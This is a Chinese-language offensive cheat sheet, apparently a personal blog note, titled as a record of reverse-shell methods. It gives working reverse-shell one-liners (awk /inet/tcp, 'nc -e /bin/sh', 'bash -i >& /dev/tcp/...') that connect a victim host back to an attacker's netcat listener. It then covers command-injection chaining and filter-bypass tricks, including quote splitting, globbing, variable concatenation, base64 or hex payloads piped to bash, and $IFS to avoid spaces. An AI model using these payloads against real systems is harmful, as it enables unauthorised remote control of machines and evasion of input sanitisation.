反弹shell方法记录
反弹shell
一、基于AWK
hacker机器上执行命令:
nc -l Port
hacker机器一直监听某端口。
在受害主机上执行命令:
awk 'BEGIN {s = "/inet/tcp/0/hackerHostIp/Port"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/n
受害主机主动向hacker发送shell连接。
二、纯nc
hacker机器上执行命令:
nc -l Port
hacker机器一直监听某端口。
在受害主机上执行命令:
nc -e /bin/sh hackerHostIp Port
受害主机主动向hacker发送shell连接。
三、万能
hacker机器上先执行命令:
nc -l Port
hacker机器一直监听某端口。
在受害主机上执行命令:
bash -i >& /dev/tcp/hackerHostIp/Port 0>&1
受害主机主动向hacker发送shell连接。
注:有时受害主机上可能会缺少我们需要的软件,如nc一类的。
命令执行
一、命令拼接
分割符 | 示例 | 说明 |
|| | command1 || command2 | command2只有在command1执行失败后才会执行 |
&& | command1 && command2 | command2只有在command1执行成功后才会执行 |
| | command1 | command2 | command2将会使用command1的输出作为自己的输入 |
; | command1 ; command2 | 分号表示两个命令是相互独立的,无论command1是否成功执行,都会执行command2 |
& | command1 & command2 | command1后台运行,command2前台运行,&号后的空格是必须的 |
反引号` | command1 `command2` | 反引号中的command2执行后返回的结果作为command1的一部分并执行 |
整个命令执行的流程序执行步骤如下:
1.检查执行的是否是绝对路径执行
2.检查命令是否存在别名
3.检查命令是内部命令还是外部命令
4.如果是内部命令直接执行
5.如果是外部命令,检查命令是否有缓存,如果没有,查找PATH变量
6.检查PATH路径直到查找到该命令然后执行
7.如果没有找到该命令则返回错误,command not found。
二、特殊字符绕过
绕过特殊字符
符号 | 示例 | 说明 |
单引号 | ca''t | |
[]or{}在一个范围内进行替代 | 如ca[a,t] /bin或ca{a-t} /bin | |
变量 | 使用多个变量来组合命令,如a=l;b=s;$a$b | |
编码 | echo 编码|xxd -r -p|bash或echo 编码|base64 -d|bash | 使用十六进制编码或base64编码 |
绕过空格
符号 | 示例 | 说明 |
花括号 | {command,参数1,...,参数n},如{nc,-lvnp,2333} | |
{$IFS} | command{$IFS}参数,如cat{$IFS}/bin |
注释
使用#可以注释后面的命令内容,但是必须在#前加一个空格,否则报错。
参考
https://lexsd6.github.io/2020/09/10/%E5%AF%B9linux%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/liuzgg/p/11801538.html